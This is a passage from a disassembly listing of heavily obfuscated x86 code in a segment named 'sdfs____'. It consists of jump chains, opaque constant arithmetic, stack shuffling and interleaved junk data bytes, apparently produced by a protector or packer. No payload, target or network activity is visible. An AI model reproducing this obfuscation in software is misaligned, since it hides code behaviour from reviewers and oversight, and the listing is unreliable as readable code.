					; DATA XREF: sdfs____:00598F58o
		push	7C7Dh
		mov	[esp], ebp
		jmp	loc_5ABCE1
; ---------------------------------------------------------------------------


loc_5AD022:				; CODE XREF: sdfs____:005AE7B3j
		add	eax, ebx
		jmp	loc_5AB790
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 0E9240C89h, 0FFFFCFC7h
; ---------------------------------------------------------------------------


loc_5AD034:				; CODE XREF: sdfs____:005A2054j
		mov	ecx, 7DA1383Fh
		jmp	loc_5A94A7
; ---------------------------------------------------------------------------


loc_5AD03E:				; CODE XREF: sdfs____:0059DA8Aj
		pop	eax
		jmp	loc_59E811
; ---------------------------------------------------------------------------


loc_5AD044:				; CODE XREF: sdfs____:005AD845j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	eax
		push	esp
		pop	eax
		push	23AFh
		mov	[esp], ebx
		mov	ebx, 4
		add	eax, ebx
		pop	ebx
		jmp	loc_59C43B
; ---------------------------------------------------------------------------


loc_5AD069:				; CODE XREF: sdfs____:loc_5A56C9j
		add	cl, 0B6h
		jno	loc_5AD49F
		or	cl, 76h
		jmp	loc_5A4CA5
; ---------------------------------------------------------------------------
		dw 0D88Bh
		dd 241C8953h, 241C8B54h, 0FFBA98E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AD089:				; CODE XREF: sdfs____:005A7AD4j
		add	ebx, edi
		jmp	loc_59A0CA
; ---------------------------------------------------------------------------


loc_5AD090:				; CODE XREF: sdfs____:005A2456j
		inc	ecx
		add	ecx, 2469242Bh
		and	ecx, 69B41F6Fh
		xor	ecx, 0D15012Eh
		xor	ebx, ecx
		pop	ecx
		add	ebp, ebx
		pop	ebx
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	6698h
		mov	[esp], edx
		push	ebp
		mov	ebp, 5837191Bh
		mov	edx, 0A7C8E6E9h
		add	edx, ebp
		pop	ebp
		push	ebx
		mov	ebx, 5A470658h
		xor	ebx, 9415D0h
		sub	ebx, 8DA855h
		add	edi, ebx
		pop	ebx
		jmp	loc_5A1201
; ---------------------------------------------------------------------------


loc_5AD0E3:				; CODE XREF: sdfs____:005A2A0Bj
		mov	[esp], dx
		mov	dl, 2Eh
		shr	dl, 2
		jmp	loc_5A5DD1
; ---------------------------------------------------------------------------


loc_5AD0F1:				; CODE XREF: sdfs____:0059B4C3j
		mov	ebp, ecx
		pop	ecx
		mov	edx, ebp
		jmp	loc_5A6FB7
; ---------------------------------------------------------------------------
		db 8Bh
		dd 84682404h, 8900007Eh, 0E589242Ch, 4C581h, 89530000h
		dd 4C381E3h, 81000000h,	4ECh, 24348900h, 0D523A1BEh, 2E6C145h
		dd 37118A0Fh, 0F681FFFFh, 17548E80h, 2D08B850h,	55A742Fh
		dd 5C8C2853h, 0FF2ABDE9h, 24348BFFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edi
		jmp	loc_5ACD8D
; ---------------------------------------------------------------------------


loc_5AD157:				; CODE XREF: sdfs____:0059B752j
		sub	esi, 9BD4ECFh
		jmp	loc_5ABF68
; ---------------------------------------------------------------------------


loc_5AD162:				; CODE XREF: sdfs____:0059C9E7j
		sub	[esp+8], edi
		pop	edi
		sub	dword ptr [esp+4], 23173A99h
		pop	edx
		mov	ebp, [esp]
		jmp	loc_59A5C2
; ---------------------------------------------------------------------------


loc_5AD178:				; CODE XREF: sdfs____:005A4A92j
		sub	eax, edx
		pop	edx
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], esi
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_59B39B
; ---------------------------------------------------------------------------
		dd 0EE81DE01h, 30524E56h, 2434335Bh, 33243431h,	2FE92434h
		db 95h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AD1BB:				; CODE XREF: sdfs____:005A278Fj
		mov	[esp], esi
		mov	esi, 45EE5940h
		add	edi, esi
		mov	esi, [esp]
		add	esp, 4
		or	edi, 286574C7h
		jmp	loc_5A8D76
; ---------------------------------------------------------------------------


loc_5AD1D9:				; CODE XREF: sdfs____:0059ADA6j
		jbe	loc_5AA281
		neg	ah
		jmp	loc_5A44C1
; ---------------------------------------------------------------------------
		dw 1C8Bh
		db 24h,	8Bh, 0C7h
; ---------------------------------------------------------------------------


loc_5AD1EB:				; CODE XREF: sdfs____:005B00C7j
		push	edi
		push	11A4h
		jmp	loc_5A9866
; ---------------------------------------------------------------------------
		dw 850Fh
		dd 0FFFFC793h, 12BCE281h, 0F2815F66h, 4EB2269Bh
		db 5Eh
; ---------------------------------------------------------------------------


loc_5AD209:				; CODE XREF: sdfs____:005AFB0Cj
		push	dword ptr [esp]
		pop	eax
		push	edi
		jmp	loc_59AB2C
; ---------------------------------------------------------------------------
byte_5AD213	db 53h			; DATA XREF: sdfs____:00598F8Co
		dd 0E3711F68h, 0F4B5B4Ah, 24A88Eh, 0F8BA5200h, 8148832Ch
		dd 0B02F99F2h, 8BD3013Fh, 0C4832414h, 81EB8104h, 21C21673h
		dd 0CE91C5Fh
		db 4Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AD243:				; CODE XREF: sdfs____:0059D682j
		push	ebp
		mov	ebp, 53082849h
		mov	eax, 0B1FD3DC4h
		jmp	loc_5A6284
; ---------------------------------------------------------------------------
		db 81h
		dd 84F9C8C3h, 9739E931h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AD25E:				; CODE XREF: sdfs____:005AFB22j
		sub	ebx, 4
		push	ebx
		jmp	loc_59F368
; ---------------------------------------------------------------------------


loc_5AD26A:				; CODE XREF: sdfs____:005A7690j
		push	esi
		mov	esi, 0F9D20ADh
		shl	esi, 1
		push	ebp
		mov	ebp, 3A166C91h
		not	ebp
		and	ebp, 678625Dh
		shr	ebp, 1
		sub	ebp, 0B68F8523h
		xor	esi, ebp
		pop	ebp
		add	esi, 0FD54F683h
		jmp	loc_59ABB6
; ---------------------------------------------------------------------------
		dw 585Dh
		dd 0C106E0C1h, 386805E0h, 89000025h, 0CE682414h, 89000036h
		dd 30B9240Ch, 8162A25Ah, 3F3727F1h, 3E98169h, 0F752620h
		dd 8A86h, 0EAC18100h, 8911FBDAh, 0D02959CAh
		db 5Ah,	8Bh, 0C8h
; ---------------------------------------------------------------------------


loc_5AD2D3:				; CODE XREF: sdfs____:005A184Dj
		xor	ecx, edi
		jmp	loc_5AD596
; ---------------------------------------------------------------------------


loc_5AD2DA:				; CODE XREF: sdfs____:0059F4DCj
		push	3CB2h
		mov	[esp], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	edi
		mov	edi, 653560DBh
		not	edi
		shr	edi, 1
		and	edi, 62234B28h
		or	edi, 0FD54EEh
		sub	edi, 40FD5FEAh
		add	ebx, edi
		jmp	loc_5AF0BD
; ---------------------------------------------------------------------------
		db 5Ch,	0Fh, 0C8h
		dd 2E3868h, 24048900h, 0FF375DE9h, 2A340DFFh, 850F0555h
		dd 0FFFF884Ah, 430FD82Dh, 84800F66h, 34FFFED9h
		db 4Ah,	5Fh
word_5AD336	dw 34FFh		; DATA XREF: sdfs____:00598FE8o
		dd 2434FF24h, 0E7895758h, 195BE9h
		db 0
; ---------------------------------------------------------------------------


loc_5AD345:				; CODE XREF: sdfs____:005AD3FCj
		sub	bl, al
		push	edx
		mov	dl, 4Ch
		jmp	loc_59E158
; ---------------------------------------------------------------------------
		db 81h
		dd 0FBDAEAC1h, 59CA8911h, 815AD029h, 6B763AE9h,	0E54AE95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AD366:				; CODE XREF: sdfs____:0059D4BFj
		push	edx
		jmp	loc_59B819
; ---------------------------------------------------------------------------
		dd 7FE95CB3h, 0FFFFFF87h, 5A042474h, 8B24048Fh,	35E92424h
		db 0B7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AD383:				; CODE XREF: sdfs____:0059AA7Cj
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_5AD388:				; CODE XREF: sdfs____:005AF8E2j
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_5AD38D:				; CODE XREF: sdfs____:005A9A7Fj
		mov	ebp, [esp]
		add	esp, 4
		or	ebp, 39B123A5h
		jnb	loc_59CC86
		push	eax
		mov	eax, 3B421345h
		and	ebp, eax
		push	dword ptr [esp]
		pop	eax
		mov	dh, al
		xor	ch, 8Dh
		push	bx
		jmp	loc_5AB511
; ---------------------------------------------------------------------------


loc_5AD3B7:				; CODE XREF: sdfs____:005A25FDj
		mov	edx, 20F06A17h
		sub	edx, 54B34414h
		jns	loc_5A9AB2
		not	edx
		add	edx, 41BB7FCDh
		jbe	loc_59B0C2
		dec	edx
		shl	edx, 1
		jmp	loc_59F540
; ---------------------------------------------------------------------------


loc_5AD3DE:				; CODE XREF: sdfs____:005AAE04j
		mov	ebx, 1B86495Bh
		sub	ebx, 4DC14FA0h
		dec	ebx
		push	ecx
		jmp	loc_5A80C6
; ---------------------------------------------------------------------------
		dd 0DA7BE95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AD3F6:				; CODE XREF: sdfs____:0059AC75j
					; sdfs____:0059E9ECj
		sub	bl, 6Fh
		add	bl, 52h
		jmp	loc_5AD345
; ---------------------------------------------------------------------------


loc_5AD401:				; CODE XREF: sdfs____:0059E3CBj
		mov	edi, 72767463h
		or	edi, 3FD6388Eh
		jb	loc_5A713B
		xor	edi, 2BFA0E5Eh
		xchg	eax, edi
		not	eax
		xchg	eax, edi
		inc	edi
		shr	edi, 2
		sub	edi, 1FE2541Dh
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 10C56377h
		and	edi, eax
		jmp	loc_5AC260
; ---------------------------------------------------------------------------
		db 54h
		dd 0FFB0F3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AD441:				; CODE XREF: sdfs____:005AEE95j
		pop	edx
		push	113Ah
		jmp	loc_5A7149
; ---------------------------------------------------------------------------


loc_5AD44C:				; CODE XREF: sdfs____:005AC8BDj
		add	ecx, 4
		push	eax
		jmp	loc_5A65A5
; ---------------------------------------------------------------------------


loc_5AD458:				; CODE XREF: sdfs____:0059F6DBj
		mov	ebx, 6DD418B8h
		add	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	esi, 0B4EE3A9Dh
		add	edx, 614A260Ch
		jmp	loc_59F64B
; ---------------------------------------------------------------------------


loc_5AD476:				; CODE XREF: sdfs____:005A7D70j
		sub	ecx, 0E871D052h
		sub	eax, 594F04AEh
		add	eax, 46C8242Dh
		add	eax, ecx
		sub	eax, 46C8242Dh
		push	ecx
		mov	ecx, 594F04AEh
		add	eax, ecx
		pop	ecx
		pop	ecx
		mov	ebx, [esp]
		jmp	loc_5AAE5E
; ---------------------------------------------------------------------------


loc_5AD49F:				; CODE XREF: sdfs____:005AD06Cj
		or	cl, 76h
		jmp	loc_5AC58A
; ---------------------------------------------------------------------------


loc_5AD4A7:				; CODE XREF: sdfs____:005ADDD5j
		push	270F7FABh
		mov	esi, [esp]
		add	esp, 4
		sub	esi, 41D1324Eh
		add	esi, 1AC1B2A3h
		push	edi
		mov	edi, esi
		mov	edx, edi
		pop	edi
		jmp	loc_5AB69E
; ---------------------------------------------------------------------------


loc_5AD4CC:				; CODE XREF: sdfs____:0059B280j
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		jmp	loc_5A9494
; ---------------------------------------------------------------------------


loc_5AD4D8:				; CODE XREF: sdfs____:0059DEE3j
		push	42B5h
		mov	[esp], edx
		push	ecx
		mov	ch, 0Eh
		sub	ch, 18h
		jmp	loc_5A2155
; ---------------------------------------------------------------------------


loc_5AD4EB:				; CODE XREF: sdfs____:005AB0C0j
		xor	esi, ebp
		pop	ebp
		sub	esp, 4
		jmp	loc_5A5C6F
; ---------------------------------------------------------------------------


loc_5AD4F9:				; CODE XREF: sdfs____:005AE33Dj
		mov	esi, 5C6C3A65h
		sub	esi, 17647692h
		jmp	loc_59B675
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 4
		dd 83000000h, 3C8704C7h, 0C3835C24h, 0D38BE904h
		db 2 dup(0FFh)
word_5AD51E	dw 77FFh		; DATA XREF: sdfs____:00598E80o
		dd 59669D1Ch, 9C241CD3h, 0FEBBE2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AD52D:				; CODE XREF: sdfs____:005A44ABj
		or	cl, 50h
		jmp	loc_5A56C9
; ---------------------------------------------------------------------------


loc_5AD535:				; CODE XREF: sdfs____:005A2910j
		mov	edi, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_59D6D1
; ---------------------------------------------------------------------------


loc_5AD546:				; CODE XREF: sdfs____:005A336Cj
		dec	edi
		sub	esp, 4
		jmp	loc_5A52D9
; ---------------------------------------------------------------------------


loc_5AD54F:				; CODE XREF: sdfs____:0059C996j
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5A9DBC
; ---------------------------------------------------------------------------


loc_5AD55D:				; CODE XREF: sdfs____:005A2EE8j
		neg	edi
		push	edi
		dec	dword ptr [esp]
		pop	edi
		inc	edi
		inc	edi
		jmp	loc_59DF01
; ---------------------------------------------------------------------------
		db 83h
		dd 343304C6h, 24343124h, 0FEEFACE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AD579:				; CODE XREF: sdfs____:005AB462j
		push	500237CEh
		pop	edi
		push	1214h
		mov	[esp], edi
		neg	dword ptr [esp]
		pop	edi
		sub	esp, 4
		jmp	loc_5AA932
; ---------------------------------------------------------------------------


loc_5AD596:				; CODE XREF: sdfs____:005AD2D5j
		pop	edi
		mov	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	edx, ebx
		pop	ebx
		push	119Eh
		mov	[esp], ebp
		push	edi
		mov	edi, edx
		mov	ebp, edi
		pop	edi
		jmp	loc_5A9EB4
; ---------------------------------------------------------------------------


loc_5AD5B5:				; CODE XREF: sdfs____:005A3669j
		mov	ebx, 6F262C69h
		sub	edx, ebx
		pop	ebx
		sub	edx, 10366CD7h
		jmp	loc_59925B
; ---------------------------------------------------------------------------
		dd 4E1ABE56h, 0EEC16F00h, 996EE903h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AD5D6:				; CODE XREF: sdfs____:005ABA19j
		xchg	eax, [esp]
		pop	esp
		neg	eax
		shl	eax, 8
		xor	eax, 5CAC0304h
		add	edx, eax
		pop	eax
		push	edi
		mov	edi, 39042D23h
		shl	edi, 3
		dec	edi
		push	edi
		not	dword ptr [esp]
		pop	edi
		push	ebp
		mov	ebp, 2BCC0210h
		jmp	loc_5AF6C2
; ---------------------------------------------------------------------------


loc_5AD601:				; CODE XREF: sdfs____:005A304Aj
		push	eax
		mov	ah, 0A3h
		not	ah
		add	ah, 77h
		sub	ah, 6Ch
		sub	dh, ah
		pop	eax
		jmp	loc_59CD63
; ---------------------------------------------------------------------------
		dd 4C781h, 3C870000h, 0C4815C24h, 4, 0C69E9h, 0D8F38100h
		dd 0E9FE3CF8h, 0FFFFC32Fh, 0E904C683h, 0FFFFC28Bh, 4240481h
		dd 0E9000000h, 0FFFFF5A1h, 4240483h, 2027E9h
		db 0
; ---------------------------------------------------------------------------


loc_5AD651:				; CODE XREF: sdfs____:005AFDB8j
		mov	edi, 4
		add	eax, edi
		pop	edi
		jmp	loc_5AD96A
; ---------------------------------------------------------------------------
word_5AD65E	dw 1CF6h		; DATA XREF: sdfs____:00598ECCo
		dd 0A8E99C24h, 89FFFEBAh, 4B9240Ch, 0E9000000h,	0FFFFE709h
; ---------------------------------------------------------------------------


loc_5AD674:				; CODE XREF: sdfs____:0059E448j
		mov	[esp], edi
		mov	edi, 46C24282h
		jmp	loc_5A2CB7
; ---------------------------------------------------------------------------


loc_5AD681:				; CODE XREF: sdfs____:005ADB44j
		push	73A4h
		mov	[esp], ebx
		jmp	loc_59AE9B
; ---------------------------------------------------------------------------


loc_5AD68E:				; CODE XREF: sdfs____:005AC3A1j
		add	ebp, 0F5F98C2Fh
		sub	[edi+24h], ebp
		pop	ebp


loc_5AD698:				; CODE XREF: sdfs____:005A41B0j
		push	34F5h
		mov	[esp], ebx
		mov	eax, [esp]
		push	7A98h
		mov	[esp], edx
		push	esp
		jmp	loc_5A8728
; ---------------------------------------------------------------------------


loc_5AD6B1:				; CODE XREF: sdfs____:0059E09Ej
		mov	al, dh
		jmp	loc_599291
; ---------------------------------------------------------------------------


loc_5AD6B8:				; CODE XREF: sdfs____:005A7707j
		jmp	loc_599E58
; ---------------------------------------------------------------------------


loc_5AD6BD:				; CODE XREF: sdfs____:005996DFj
					; sdfs____:005A4E5Bj
		add	esp, 2
		sub	bl, al
		jmp	loc_59B1EA
; ---------------------------------------------------------------------------


loc_5AD6CA:				; CODE XREF: sdfs____:0059A8C0j
		xchg	edx, esi
		not	edx
		push	esi
		jmp	loc_5A9836
; ---------------------------------------------------------------------------


loc_5AD6D4:				; CODE XREF: sdfs____:005ADF3Cj
		push	ebp
		jmp	loc_5AB461
; ---------------------------------------------------------------------------
		dw 0F581h
		dd 42E2161Ch, 9217C581h, 0E80141BCh, 8BC3895Dh,	0C4812404h
		dd 4, 24348153h, 692D0192h, 92F7815Fh, 8B692D01h, 0C483241Ch
		dd 0FFF82104h, 3C8B2434h, 0D3BFE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AD716:				; CODE XREF: sdfs____:005A330Cj
		shr	edx, 1
		add	edx, 3C5306F3h
		jmp	loc_5A4311
; ---------------------------------------------------------------------------


loc_5AD723:				; CODE XREF: sdfs____:0059DE72j
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_5AE9AF
; ---------------------------------------------------------------------------


loc_5AD73A:				; CODE XREF: sdfs____:005A33C4j
		pop	ecx
		add	edx, 143C3145h
		jmp	loc_5AB120
; ---------------------------------------------------------------------------


loc_5AD746:				; CODE XREF: sdfs____:0059CDCEj
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_59BFFB
; ---------------------------------------------------------------------------


loc_5AD751:				; CODE XREF: sdfs____:0059AFC3j
					; sdfs____:005A58A0j
		pop	esp
		push	6F7Ch
		mov	[esp], edi
		jmp	loc_5AEE9A
; ---------------------------------------------------------------------------
		db 51h
		dd 0E180D5B1h, 0C0D9F621h, 0E98008E1h, 59CE28A5h, 667ECE80h
		dd 3092B353h, 1C8B66DEh, 6F69E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AD782:				; CODE XREF: sdfs____:0059FD9Bj
		mov	[esp], esi
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_5A0567
; ---------------------------------------------------------------------------


loc_5AD795:				; CODE XREF: sdfs____:0059D5E5j
					; sdfs____:005A908Dj
		push	ebp
		jmp	loc_5A4D91
; ---------------------------------------------------------------------------


loc_5AD79B:				; CODE XREF: sdfs____:0059C4F7j
		add	al, 0E8h
		xor	cl, al
		pop	eax
		push	32C4h
		jmp	loc_5A0649
; ---------------------------------------------------------------------------


loc_5AD7AA:				; CODE XREF: sdfs____:0059C924j
		xchg	esi, [esp]
		pop	esp
		sub	eax, 5C932C9Ch
		sub	eax, 42BC0AFBh
		sub	eax, edx
		push	ebx
		mov	ebx, 4056391Ch
		xor	ebx, 5C4630E5h
		or	ebx, 71BA4B65h
		dec	ebx
		not	ebx
		jmp	loc_5A894C
; ---------------------------------------------------------------------------
dword_5AD7D4	dd 0E92C77FFh, 0FFFEB933h, 0DA23B005h, 53D82936h, 0DA23B0BBh
					; DATA XREF: sdfs____:00598ED0o
		dd 5BD82936h, 16DABE56h, 0F0294D77h, 0B951535Eh, 411D4CB1h
		dd 0E959CB89h, 0FFFF9178h
; ---------------------------------------------------------------------------


loc_5AD804:				; CODE XREF: sdfs____:0059B88Aj
		pop	edi
		jmp	loc_5A42BA
; ---------------------------------------------------------------------------


loc_5AD80A:				; CODE XREF: sdfs____:005AC8CAj
		add	esp, 4
		push	esi
		mov	esi, esp
		push	ebp
		mov	ebp, 7826214Fh
		shr	ebp, 5
		add	ebp, 1A167118h
		xor	ebp, 1D116131h
		push	ebx
		mov	ebx, 75D36352h
		add	ebp, ebx
		pop	ebx
		shl	ebp, 1
		sub	ebp, 0ED344CC6h
		add	esi, ebp
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebp
		push	ecx
		mov	ecx, esp
		jmp	loc_5AD044
; ---------------------------------------------------------------------------


loc_5AD84A:				; CODE XREF: sdfs____:0059F505j
		push	ebx
		mov	ebx, 511243AAh
		inc	ebx
		js	loc_59CCDE
		neg	ebx
		jmp	loc_5A229D
; ---------------------------------------------------------------------------


loc_5AD85E:				; CODE XREF: sdfs____:0059F691j
		mov	[esp], ecx
		jmp	loc_5ABFD8
; ---------------------------------------------------------------------------
		dw 0AF68h
		dd 89000035h, 51562404h, 0CD456EB9h, 0BA5EE977h, 0EDC1FFFFh
		dd 0DBF58104h, 0E954D66Ah, 0FFFF8A3Ch
; ---------------------------------------------------------------------------


loc_5AD888:				; CODE XREF: sdfs____:loc_5A5393j
		add	edi, 0F8491D10h
		dec	edi
		and	edi, 5E0928D0h
		push	0FFAh
		mov	[esp], edx
		mov	edx, 0E5FEE004h
		add	edi, edx
		jmp	loc_5A51C4
; ---------------------------------------------------------------------------


loc_5AD8A9:				; CODE XREF: sdfs____:005A6008j
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, esp
		push	ebx
		push	7613h
		jmp	loc_5A1947
; ---------------------------------------------------------------------------


loc_5AD8BD:				; CODE XREF: sdfs____:005A5B77j
		add	eax, 1EA50D8Bh
		shr	eax, 5
		neg	eax
		jmp	loc_59F533
; ---------------------------------------------------------------------------
		dd 37A7E981h, 0CB891F83h, 0ACE38159h, 0C154F131h, 22E908E3h
		dd 5A000001h, 0FEF741E9h, 241487FFh, 48B665Ch, 7F276824h
		dd 0A9E90000h, 8BFFFF4Fh, 8957243Ch, 4C781E7h, 83000000h
		dd 3C8704C7h, 1C8B5C24h, 4C48124h, 0E9000000h, 0FFFFD820h
; ---------------------------------------------------------------------------


loc_5AD91C:				; CODE XREF: sdfs____:005AA4CBj
		dec	ebx
		jl	loc_59BD3D
		xor	ebx, 2F127573h
		jo	loc_5A7B45
		jmp	loc_5A6E61
; ---------------------------------------------------------------------------


loc_5AD934:				; CODE XREF: sdfs____:005AB847j
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_59DAD3
; ---------------------------------------------------------------------------


loc_5AD941:				; CODE XREF: sdfs____:0059A01Aj
					; sdfs____:005AA283j
		jg	loc_5AAA4B
		add	ah, 6Eh
		jmp	loc_5A5A78
; ---------------------------------------------------------------------------


loc_5AD94F:				; CODE XREF: sdfs____:0059B360j
		add	ebp, eax
		jmp	loc_59D237
; ---------------------------------------------------------------------------


loc_5AD956:				; CODE XREF: sdfs____:005A5FA1j
		dec	edx
		add	edx, 1
		xor	edx, 3E7F1B17h
		or	ebx, edx
		jmp	loc_5A56AD
; ---------------------------------------------------------------------------


loc_5AD96A:				; CODE XREF: sdfs____:005AD659j
		add	eax, 4
		jmp	loc_59DA4E
; ---------------------------------------------------------------------------
		dw 0DE68h
		dd 8900000Eh, 4BD242Ch,	1000000h, 34875DEEh, 24248B24h
		dd 8B241C87h, 4E92424h,	53FFFF5Ah, 0BA2734BBh, 1E6BE909h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5AD99E:				; CODE XREF: sdfs____:0059C14Dj
		add	[esp+8], eax
		push	ecx
		push	ebx
		mov	ebx, 4BED4A40h
		mov	ecx, ebx
		pop	ebx
		sub	[esp+0Ch], ecx
		mov	ecx, [esp]
		add	esp, 4
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5A255B
; ---------------------------------------------------------------------------
		dd 0FEB746E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AD9C9:				; CODE XREF: sdfs____:0059F174j
		mov	eax, 0AF727CFh
		mov	esi, eax
		pop	eax
		jmp	loc_5B0006
; ---------------------------------------------------------------------------
		dw 5347h
		dd 0FEC589E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AD9DD:				; CODE XREF: sdfs____:005AAA5Bj
		mov	bx, [esp]
		push	622h
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 2
		xchg	esi, [esp]
		mov	esp, [esp]
		xor	al, ch
		mov	cx, [esp]
		jmp	loc_59C23B
; ---------------------------------------------------------------------------
		db 81h,	0F3h, 0BDh
		dd 814DAB52h, 0E37CFFEBh, 47AAE914h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5ADA16:				; CODE XREF: sdfs____:005A06BCj
		add	ebx, edi
		pop	edi
		add	ebx, edi
		sub	ebx, 7CC9717Dh
		pop	edi
		push	26E7h
		mov	[esp], esi
		jmp	loc_5A2858
; ---------------------------------------------------------------------------


loc_5ADA2F:				; CODE XREF: sdfs____:005AE345j
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		shl	word ptr [esp],	cl
		pushf
		jmp	loc_5AB746
; ---------------------------------------------------------------------------


loc_5ADA42:				; CODE XREF: sdfs____:005A4091j
		mov	[esp], eax
		push	esp
		pop	eax
		push	edi
		sub	esp, 4
		jmp	loc_5A0FB0
; ---------------------------------------------------------------------------


loc_5ADA50:				; CODE XREF: sdfs____:005A92CDj
					; sdfs____:005ABAD2j
		or	edi, 217C2CA4h
		add	edi, 3677F9B5h
		add	ebx, edi
		pop	edi
		jmp	loc_5A6AD1
; ---------------------------------------------------------------------------


loc_5ADA64:				; CODE XREF: sdfs____:0059A3E4j
		add	eax, 5E224A67h
		sub	eax, edi
		sub	eax, 5E224A67h
		pop	edi
		push	eax
		pop	ebp
		jmp	loc_59BD0C
; ---------------------------------------------------------------------------


loc_5ADA78:				; CODE XREF: sdfs____:005A4E4Fj
		push	esp
		push	dword ptr [esp]
		pop	edi
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, 64310B0Bh
		jmp	loc_59A97B
; ---------------------------------------------------------------------------


loc_5ADA8B:				; CODE XREF: sdfs____:005ADF72j
		mov	bh, dl
		mov	cl, bh
		pop	ebx
		pop	edx
		jmp	loc_5A59EF
; ---------------------------------------------------------------------------
word_5ADA96	dw 8B66h		; DATA XREF: sdfs____:005990B0o
		dd 0EC812404h, 4, 54241C89h, 4EC815Bh, 0E9000000h, 2033h
		dd 0E903E4C0h, 0FFFF3AA7h
; ---------------------------------------------------------------------------


loc_5ADAB8:				; CODE XREF: sdfs____:005AB19Aj
		pop	ebp
		or	ecx, 4AC63CBAh
		inc	ecx
		xor	ecx, 0E844B21Bh
		jmp	loc_5A88AB
; ---------------------------------------------------------------------------


loc_5ADACB:				; CODE XREF: sdfs____:005AB0D0j
		add	edi, ebp
		pop	ebp
		sub	ebx, 16DA0B61h
		add	ebx, edi
		add	ebx, 16DA0B61h
		mov	edi, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_59C607
; ---------------------------------------------------------------------------
byte_5ADAE7	db 0FFh			; DATA XREF: sdfs____:00598F4Co
		dd 0F3E92434h
		db 0F8h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5ADAEF:				; CODE XREF: sdfs____:005B008Aj
		xchg	edx, [esp]
		pop	esp
		sub	edx, 3F822FADh
		jmp	loc_5A36C9
; ---------------------------------------------------------------------------


loc_5ADAFE:				; CODE XREF: sdfs____:005A5AC8j
		sub	edx, 4927716Dh
		add	edx, eax
		add	edx, 4927716Dh
		sub	edx, 6937643Eh
		jmp	loc_59910F
; ---------------------------------------------------------------------------
		db 58h
		dd 0E95AD729h, 0FFFEB67Dh
; ---------------------------------------------------------------------------


loc_5ADB20:				; CODE XREF: sdfs____:005A71C8j
		pop	ax
		push	eax
		jmp	loc_59AAA5
; ---------------------------------------------------------------------------


loc_5ADB28:				; CODE XREF: sdfs____:005A1C91j
		add	edx, 4
		push	1C5Eh
		mov	[esp], ebx
		mov	ebx, 4
		add	edx, ebx
		pop	ebx
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_5AD681
; ---------------------------------------------------------------------------


loc_5ADB49:				; CODE XREF: sdfs____:005ABE53j
		xor	esi, 2B156C3Dh
		mov	eax, esi
		pop	esi
		dec	eax
		add	eax, 3257141Eh
		xor	edx, eax
		pop	eax
		jmp	loc_5AB367
; ---------------------------------------------------------------------------


loc_5ADB60:				; CODE XREF: sdfs____:005AF608j
		mov	edx, 4
		add	ebx, edx
		pop	edx
		jmp	loc_5A356B
; ---------------------------------------------------------------------------


loc_5ADB6D:				; CODE XREF: sdfs____:0059BB35j
		mov	esi, 4
		add	edi, esi
		pop	esi
		sub	esp, 4
		mov	[esp], eax
		push	esp
		mov	eax, [esp]
		add	esp, 4
		add	eax, 4
		push	1BF8h
		mov	[esp], edx
		mov	edx, 46EB2230h
		shr	edx, 7
		dec	edx
		not	edx
		shl	edx, 3
		jmp	loc_5A4A8C
; ---------------------------------------------------------------------------


loc_5ADBA5:				; CODE XREF: sdfs____:loc_59DFA6j
		push	bx
		mov	bh, 96h
		sub	cl, bh
		mov	bx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 2
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_59A27A
; ---------------------------------------------------------------------------


loc_5ADBC6:				; CODE XREF: sdfs____:005A19BAj
		jp	loc_5A56BC
		xor	ebx, 3E784777h
		mov	edi, ebx
		mov	bh, 0E4h
